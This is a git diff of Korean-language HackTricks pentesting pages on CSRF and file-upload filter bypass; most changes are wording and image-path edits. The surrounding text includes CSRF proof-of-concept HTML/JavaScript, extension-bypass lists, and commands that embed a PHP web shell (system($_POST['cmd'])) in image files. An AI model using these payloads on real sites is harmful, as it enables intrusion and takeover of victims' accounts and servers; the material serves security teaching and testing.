Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -32,7 +32,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
## 크로스 사이트 요청 위조 (CSRF) 설명
|
||||
|
||||
**크로스 사이트 요청 위조 (CSRF)**는 웹 애플리케이션에서 발견되는 보안 취약점의 일종입니다. 이는 공격자가 인증된 세션을 이용하여 무심코 사용자를 대신해 행동을 수행할 수 있게 합니다. 공격은 피해자의 플랫폼에 로그인한 사용자가 악성 사이트를 방문할 때 실행됩니다. 이 사이트는 JavaScript 실행, 양식 제출 또는 이미지 가져오기와 같은 방법을 통해 피해자의 계정에 요청을 트리거합니다.
|
||||
**크로스 사이트 요청 위조 (CSRF)**는 웹 애플리케이션에서 발견되는 보안 취약점의 일종입니다. 이는 공격자가 인증된 세션을 악용하여 무심코 사용자를 대신해 행동을 수행할 수 있게 합니다. 공격은 피해자의 플랫폼에 로그인한 사용자가 악성 사이트를 방문할 때 실행됩니다. 이 사이트는 JavaScript 실행, 양식 제출 또는 이미지 가져오기와 같은 방법을 통해 피해자의 계정에 요청을 트리거합니다.
|
||||
|
||||
### CSRF 공격을 위한 전제 조건
|
||||
|
||||
|
@ -46,7 +46,7 @@ CSRF 취약점을 악용하기 위해서는 여러 조건이 충족되어야 합
|
|||
|
||||
**Burp에서 요청을 캡처**하고 CSRF 보호를 확인할 수 있으며, 브라우저에서 **Copy as fetch**를 클릭하여 요청을 확인할 수 있습니다:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### CSRF 방어
|
||||
|
||||
|
@ -59,7 +59,7 @@ CSRF 공격으로부터 보호하기 위해 여러 가지 대응책을 구현할
|
|||
* `http://mal.net?orig=http://example.com` 사용 (URL이 신뢰할 수 있는 URL로 끝남)
|
||||
* `http://example.com.mal.net` 사용 (URL이 신뢰할 수 있는 URL로 시작함)
|
||||
* **매개변수 이름 수정**: POST 또는 GET 요청의 매개변수 이름을 변경하면 자동화된 공격을 방지하는 데 도움이 될 수 있습니다.
|
||||
* **CSRF 토큰**: 각 세션에 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF의 위험을 크게 줄일 수 있습니다. 토큰의 효과는 CORS를 강제함으로써 향상될 수 있습니다.
|
||||
* **CSRF 토큰**: 각 세션에 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF 위험을 크게 줄일 수 있습니다. 토큰의 효과는 CORS를 강제함으로써 향상될 수 있습니다.
|
||||
|
||||
이러한 방어를 이해하고 구현하는 것은 웹 애플리케이션의 보안과 무결성을 유지하는 데 중요합니다.
|
||||
|
||||
|
@ -71,7 +71,7 @@ CSRF 공격으로부터 보호하기 위해 여러 가지 대응책을 구현할
|
|||
|
||||
### 토큰 부족
|
||||
|
||||
애플리케이션은 **토큰이 존재할 때** 이를 **검증하는 메커니즘**을 구현할 수 있습니다. 그러나 토큰이 없을 때 검증이 완전히 생략되면 취약점이 발생합니다. 공격자는 **토큰을 담고 있는 매개변수를 제거**하여 이를 악용할 수 있습니다. 이렇게 하면 검증 프로세스를 우회하고 효과적으로 크로스 사이트 요청 위조 (CSRF) 공격을 수행할 수 있습니다.
|
||||
애플리케이션은 **토큰이 존재할 때 검증하는 메커니즘**을 구현할 수 있습니다. 그러나 토큰이 없을 때 검증이 완전히 생략되면 취약점이 발생합니다. 공격자는 **토큰을 전달하는 매개변수를 제거**하여 이를 악용할 수 있으며, 이는 CSRF 공격을 효과적으로 수행할 수 있게 합니다.
|
||||
|
||||
### CSRF 토큰이 사용자 세션에 연결되지 않음
|
||||
|
||||
|
@ -83,7 +83,7 @@ CSRF 토큰이 **사용자 세션에 연결되지 않는 애플리케이션**은
|
|||
2. **전역 풀에서 유효한 CSRF 토큰을 얻습니다.**
|
||||
3. **이 토큰을 사용하여** 피해자에 대한 CSRF 공격을 수행합니다.
|
||||
|
||||
이 취약점은 공격자가 피해자를 대신하여 무단 요청을 수행할 수 있게 하여 애플리케이션의 **부적절한 토큰 검증 메커니즘**을 악용합니다.
|
||||
이 취약점은 공격자가 피해자를 대신하여 무단 요청을 수행할 수 있게 하며, 애플리케이션의 **부적절한 토큰 검증 메커니즘**을 악용합니다.
|
||||
|
||||
### 메서드 우회
|
||||
|
||||
|
@ -100,13 +100,13 @@ CSRF 토큰이 **사용자 세션에 연결되지 않는 애플리케이션**은
|
|||
요청이 **CSRF 보호 방법**으로 **토큰**이 포함된 **사용자 정의 헤더**를 추가하고 있다면:
|
||||
|
||||
* **사용자 정의 토큰과 헤더 없이 요청을 테스트**합니다.
|
||||
* **길이는 동일하지만 다른 토큰으로 요청을 테스트**합니다.
|
||||
* **정확한 길이지만 다른 토큰으로 요청을 테스트**합니다.
|
||||
|
||||
### CSRF 토큰이 쿠키로 검증됨
|
||||
|
||||
애플리케이션은 CSRF 보호를 위해 토큰을 쿠키와 요청 매개변수 모두에 복제하거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 확인하여 구현할 수 있습니다. 애플리케이션은 요청 매개변수의 토큰이 쿠키의 값과 일치하는지 확인하여 요청을 검증합니다.
|
||||
애플리케이션은 CSRF 보호를 위해 토큰을 쿠키와 요청 매개변수 모두에 복제하거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 검증할 수 있습니다. 애플리케이션은 요청 매개변수의 토큰이 쿠키의 값과 일치하는지 확인하여 요청을 검증합니다.
|
||||
|
||||
그러나 이 방법은 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있는 경우 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 기만적인 이미지를 로드한 다음 CSRF 공격을 시작하여 이를 악용할 수 있습니다.
|
||||
그러나 이 방법은 웹사이트에 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있는 경우 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 기만적인 이미지를 로드한 다음 CSRF 공격을 시작하여 이를 악용할 수 있습니다.
|
||||
|
||||
아래는 공격이 어떻게 구성될 수 있는지에 대한 예입니다:
|
||||
```html
|
||||
|
@ -136,9 +136,9 @@ CSRF 토큰이 **사용자 세션에 연결되지 않는 애플리케이션**은
|
|||
* **`multipart/form-data`**
|
||||
* **`text/plain`**
|
||||
|
||||
그러나 사용된 **Content-Type**에 따라 **서버의 로직이 다를 수 있으므로** 언급된 값과 **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._와 같은 다른 값도 시도해 보아야 합니다.
|
||||
그러나 사용된 **Content-Type**에 따라 **서버의 로직이 다를 수 있으므로** 언급된 값과 **`application/json`**, **`text/xml`**, **`application/xml`**와 같은 다른 값도 시도해 보아야 합니다.
|
||||
|
||||
예시 ( [여기](https://brycec.me/posts/corctf\_2021\_challenges)에서) 텍스트/plain으로 JSON 데이터를 전송하는 방법:
|
||||
예시 ( [여기](https://brycec.me/posts/corctf\_2021\_challenges)에서) 텍스트/플레인으로 JSON 데이터를 전송하는 방법:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
|
@ -151,15 +151,15 @@ form.submit();
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### Bypassing Preflight Requests for JSON Data
|
||||
### JSON 데이터에 대한 Preflight 요청 우회
|
||||
|
||||
POST 요청을 통해 JSON 데이터를 전송하려고 할 때, HTML 양식에서 `Content-Type: application/json`을 직접 사용할 수 없습니다. 마찬가지로, `XMLHttpRequest`를 사용하여 이 콘텐츠 유형을 전송하면 사전 비행 요청이 시작됩니다. 그럼에도 불구하고, 이 제한을 우회하고 서버가 Content-Type에 관계없이 JSON 데이터를 처리하는지 확인할 수 있는 전략이 있습니다:
|
||||
POST 요청을 통해 JSON 데이터를 전송하려고 할 때, HTML 양식에서 `Content-Type: application/json`을 직접 사용할 수 없습니다. 마찬가지로, `XMLHttpRequest`를 사용하여 이 콘텐츠 유형을 전송하면 preflight 요청이 시작됩니다. 그럼에도 불구하고, 이 제한을 우회하고 서버가 Content-Type에 관계없이 JSON 데이터를 처리하는지 확인할 수 있는 전략이 있습니다:
|
||||
|
||||
1. **대체 콘텐츠 유형 사용**: 양식에서 `enctype="text/plain"`을 설정하여 `Content-Type: text/plain` 또는 `Content-Type: application/x-www-form-urlencoded`를 사용합니다. 이 접근 방식은 백엔드가 Content-Type에 관계없이 데이터를 사용하는지 테스트합니다.
|
||||
2. **콘텐츠 유형 수정**: 서버가 콘텐츠를 JSON으로 인식하도록 하면서 사전 비행 요청을 피하려면, `Content-Type: text/plain; application/json`으로 데이터를 전송할 수 있습니다. 이는 사전 비행 요청을 트리거하지 않지만, 서버가 `application/json`을 수용하도록 구성되어 있다면 올바르게 처리될 수 있습니다.
|
||||
3. **SWF 플래시 파일 활용**: 덜 일반적이지만 실행 가능한 방법은 SWF 플래시 파일을 사용하여 이러한 제한을 우회하는 것입니다. 이 기술에 대한 심층적인 이해를 원하시면 [이 게시물](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)을 참조하십시오.
|
||||
2. **콘텐츠 유형 수정**: 서버가 콘텐츠를 JSON으로 인식하도록 하면서 preflight 요청을 피하려면, `Content-Type: text/plain; application/json`으로 데이터를 전송할 수 있습니다. 이는 preflight 요청을 트리거하지 않지만, 서버가 `application/json`을 수용하도록 구성되어 있다면 올바르게 처리될 수 있습니다.
|
||||
3. **SWF 플래시 파일 활용**: 덜 일반적이지만 가능한 방법은 SWF 플래시 파일을 사용하여 이러한 제한을 우회하는 것입니다. 이 기술에 대한 심층적인 이해를 원하시면 [이 게시물](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)을 참조하십시오.
|
||||
|
||||
### Referrer / Origin check bypass
|
||||
### Referrer / Origin 체크 우회
|
||||
|
||||
**Referrer 헤더 피하기**
|
||||
|
||||
|
@ -175,7 +175,7 @@ POST 요청을 통해 JSON 데이터를 전송하려고 할 때, HTML 양식에
|
|||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Referrer가 매개변수 내에서 보낼 URL의 서버 도메인 이름을 설정하려면 다음과 같이 할 수 있습니다:
|
||||
Referrer가 매개변수 내에서 전송할 URL의 서버 도메인 이름을 설정하려면 다음과 같이 할 수 있습니다:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
|
@ -196,7 +196,7 @@ document.forms[0].submit();
|
|||
```
|
||||
### **HEAD 메서드 우회**
|
||||
|
||||
[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)의 첫 번째 부분에서는 [Oak의 소스 코드](https://github.com/oakserver/oak/blob/main/router.ts#L281)가 **HEAD 요청을 응답 본문이 없는 GET 요청으로 처리하도록 설정되어 있다**고 설명합니다. 이는 Oak에만 국한되지 않는 일반적인 우회 방법입니다. HEAD 요청을 처리하는 특정 핸들러 대신, **GET 핸들러에 전달되지만 앱은 응답 본문을 제거합니다**.
|
||||
[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)의 첫 번째 부분에서는 [Oak의 소스 코드](https://github.com/oakserver/oak/blob/main/router.ts#L281)가 **HEAD 요청을 GET 요청으로 처리하도록 설정되어 있으며** 응답 본문이 없는 일반적인 우회 방법이라고 설명합니다. HEAD reqs를 처리하는 특정 핸들러 대신, 단순히 **GET 핸들러에 전달되지만 앱은 응답 본문을 제거합니다**.
|
||||
|
||||
따라서 GET 요청이 제한되고 있다면, **GET 요청으로 처리될 HEAD 요청을 보낼 수 있습니다**.
|
||||
|
||||
|
@ -361,7 +361,7 @@ function envia(){document.getElementById("formulario").submit();}
|
|||
</iframe>
|
||||
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
|
||||
```
|
||||
### **CSRF 토큰 훔치기 및 POST 요청 보내기**
|
||||
### **CSRF 토큰 훔치기 및 POST 요청 전송**
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest();
|
||||
|
@ -408,7 +408,7 @@ var GET_URL="http://google.com?param=VALUE"
|
|||
var POST_URL="http://google.com?param=VALUE"
|
||||
getTokenJS();
|
||||
```
|
||||
### **CSRF 토큰 훔치기 및 iframe, 폼, Ajax를 사용하여 Post 요청 보내기**
|
||||
### **CSRF 토큰을 훔치고 iframe, 폼 및 Ajax를 사용하여 Post 요청 보내기**
|
||||
```html
|
||||
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
|
||||
<input type="text" name="username" value="AA">
|
||||
|
@ -476,7 +476,7 @@ height="600" width="800"></iframe>
|
|||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **POSTAjax를 사용하여 CSRF 토큰을 훔치고 폼으로 POST 전송하기**
|
||||
### **POSTAjax를 사용하여 CSRF 토큰 훔치고 폼으로 POST 전송하기**
|
||||
```html
|
||||
<body onload="getData()">
|
||||
|
||||
|
@ -597,11 +597,11 @@ login(USER, line.strip())
|
|||
**최신 발표**\
|
||||
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
|
||||
|
||||
**지금** [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하고 최고의 해커들과 협업을 시작하세요!
|
||||
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하고 최고의 해커들과 협업을 시작하세요!
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -609,7 +609,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,29 +1,29 @@
|
|||
# 파일 업로드
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우** 해주세요 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 파일 업로드 일반 방법론
|
||||
|
||||
기타 유용한 확장자:
|
||||
다른 유용한 확장자:
|
||||
|
||||
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
* **PHPv8에서 작업하기**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||||
|
@ -36,11 +36,11 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
### 파일 확장자 검사 우회
|
||||
|
||||
1. 적용되는 경우, **이전 확장자**를 **확인**합니다. 또한 일부 **대문자**를 사용하여 테스트합니다: _pHp, .pHP5, .PhAr ..._
|
||||
2. _실행 확장자 **앞에 유효한 확장자를 추가하여 확인합니다** (이전 확장자도 사용):_
|
||||
1. 적용되는 경우, **이전 확장자**를 **확인**합니다. 또한 **대문자**를 사용하여 테스트합니다: _pHp, .pHP5, .PhAr ..._
|
||||
2. _실행 확장자 앞에 **유효한 확장자 추가** 확인하기 (이전 확장자도 사용):_
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
3. **끝에 특수 문자를 추가해 보세요.** Burp를 사용하여 모든 **ascii** 및 **Unicode** 문자를 **브루트포스**할 수 있습니다. (_이전의 **확장자**를 사용하여 더 나은 페이로드를 준비할 수도 있습니다._)
|
||||
3. **끝에 특수 문자 추가** 시도하기. Burp를 사용하여 모든 **ascii** 및 **Unicode** 문자를 **브루트포스**할 수 있습니다. (_이전에 언급된 **확장자**를 사용해 볼 수도 있습니다_)
|
||||
* _file.php%20_
|
||||
* _file.php%0a_
|
||||
* _file.php%00_
|
||||
|
@ -50,7 +50,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
* _file._
|
||||
* _file.php...._
|
||||
* _file.pHp5...._
|
||||
4. **서버 측의 확장자 파서를 속여서 보호를 우회해 보세요.** **확장자**를 **두 번** 추가하거나 **쓰레기** 데이터 (**null** 바이트)를 확장자 사이에 추가하는 기술을 사용합니다. _이전 확장자를 사용하여 더 나은 페이로드를 준비할 수 있습니다._
|
||||
4. **서버 측의 확장자 파서를 속여** 보호를 우회하려고 시도합니다. **확장자**를 **두 번** 추가하거나 **쓰레기** 데이터 (**null** 바이트)를 확장자 사이에 추가하는 기술을 사용합니다. _더 나은 페이로드를 준비하기 위해 **이전 확장자**를 사용할 수도 있습니다._
|
||||
* _file.png.php_
|
||||
* _file.png.pHp5_
|
||||
* _file.php#.png_
|
||||
|
@ -59,19 +59,19 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
* _file.php%0a.png_
|
||||
* _file.php%0d%0a.png_
|
||||
* _file.phpJunk123png_
|
||||
5. 이전 검사에 **또 다른 확장자 레이어를 추가합니다**:
|
||||
5. 이전 검사에 **또 다른 확장자 레이어 추가**:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. **유효한 확장자 앞에 exec 확장자를 추가하고 서버가 잘못 구성되기를 기도하세요.** (확장자** _**.php**_**로 끝나지 않더라도** 실행할 수 있는 Apache 잘못 구성의 경우 유용합니다):
|
||||
6. **유효한 확장자 앞에 exec 확장자 추가** 시도하고 서버가 잘못 구성되기를 기도합니다. (확장자** _**.php**_**로 끝나지 않더라도** 실행되는 Apache 잘못 구성의 경우 유용함):
|
||||
* _예: file.php.png_
|
||||
7. **Windows에서 NTFS 대체 데이터 스트림(ADS)** 사용. 이 경우, 금지된 확장자 뒤에 콜론 문자 “:”가 삽입되고 허용된 확장자 앞에 삽입됩니다. 결과적으로, **서버에 금지된 확장자를 가진 빈 파일**이 생성됩니다 (예: “file.asax:.jpg”). 이 파일은 나중에 다른 기술을 사용하여 편집할 수 있습니다. “**::$data**” 패턴을 사용하여 비어 있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: “file.asp::$data.”)
|
||||
8. 파일 이름 제한을 **깨보세요.** 유효한 확장자가 잘리게 됩니다. 그리고 악성 PHP가 남게 됩니다. AAA<--SNIP-->AAA.php
|
||||
7. **Windows**에서 **NTFS 대체 데이터 스트림 (ADS)** 사용하기. 이 경우, 금지된 확장자 뒤에 콜론 문자 “:”가 삽입되고 허용된 확장자 앞에 삽입됩니다. 결과적으로, 서버에 **금지된 확장자를 가진 빈 파일**이 생성됩니다 (예: “file.asax:.jpg”). 이 파일은 나중에 다른 기술을 사용하여 편집할 수 있습니다. “**::$data**” 패턴을 사용하여 비어 있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: “file.asp::$data.”)
|
||||
8. 파일 이름 제한을 **깨뜨리려고 시도**합니다. 유효한 확장자가 잘리게 됩니다. 그리고 악성 PHP가 남게 됩니다. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# 리눅스 최대 255 바이트
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 여기서 4를 빼고 .png 추가
|
||||
# 파일을 업로드하고 응답을 확인하여 허용되는 문자의 수를 확인합니다. 236이라고 가정합시다.
|
||||
# 파일을 업로드하고 응답을 확인하여 허용되는 문자의 수를 확인합니다. 예를 들어 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# 페이로드 만들기
|
||||
|
@ -82,38 +82,38 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
|
||||
* **Content-Type** 검사를 우회하려면 **Content-Type** **헤더**의 **값**을 다음으로 설정합니다: _image/png_, _text/plain_, application/octet-stream_
|
||||
1. Content-Type **단어 목록**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
* 파일의 시작 부분에 **실제 이미지의 바이트**를 추가하여 **매직 넘버** 검사를 우회합니다 (파일 명령을 혼동시킵니다). 또는 **메타데이터** 내에 쉘을 삽입합니다:\
|
||||
* 파일의 시작 부분에 **실제 이미지의 바이트**를 추가하여 **매직 넘버** 검사를 우회합니다 (파일 명령을 혼란스럽게 함). 또는 **메타데이터** 내에 쉘을 삽입합니다:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` 또는 이미지를 통해 **페이로드를 직접 삽입할 수도 있습니다:**\
|
||||
`\` 또는 이미지를 통해 **페이로드를 직접 삽입**할 수도 있습니다:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* **압축이 이미지에 추가되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php)와 같은 일부 표준 PHP 라이브러리를 사용하는 경우, 이전 기술은 유용하지 않을 수 있습니다. 그러나 **PLTE 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다.
|
||||
* 이미지에 **압축이 추가되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php)와 같은 표준 PHP 라이브러리를 사용하는 경우, 이전 기술은 유용하지 않을 수 있습니다. 그러나 **PLTE 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다.
|
||||
* [**코드가 있는 깃허브**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* 웹 페이지가 **이미지 크기 조정**을 수행할 수도 있습니다. 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용할 수 있습니다. 그러나 **IDAT 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다.
|
||||
* [**코드가 있는 깃허브**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
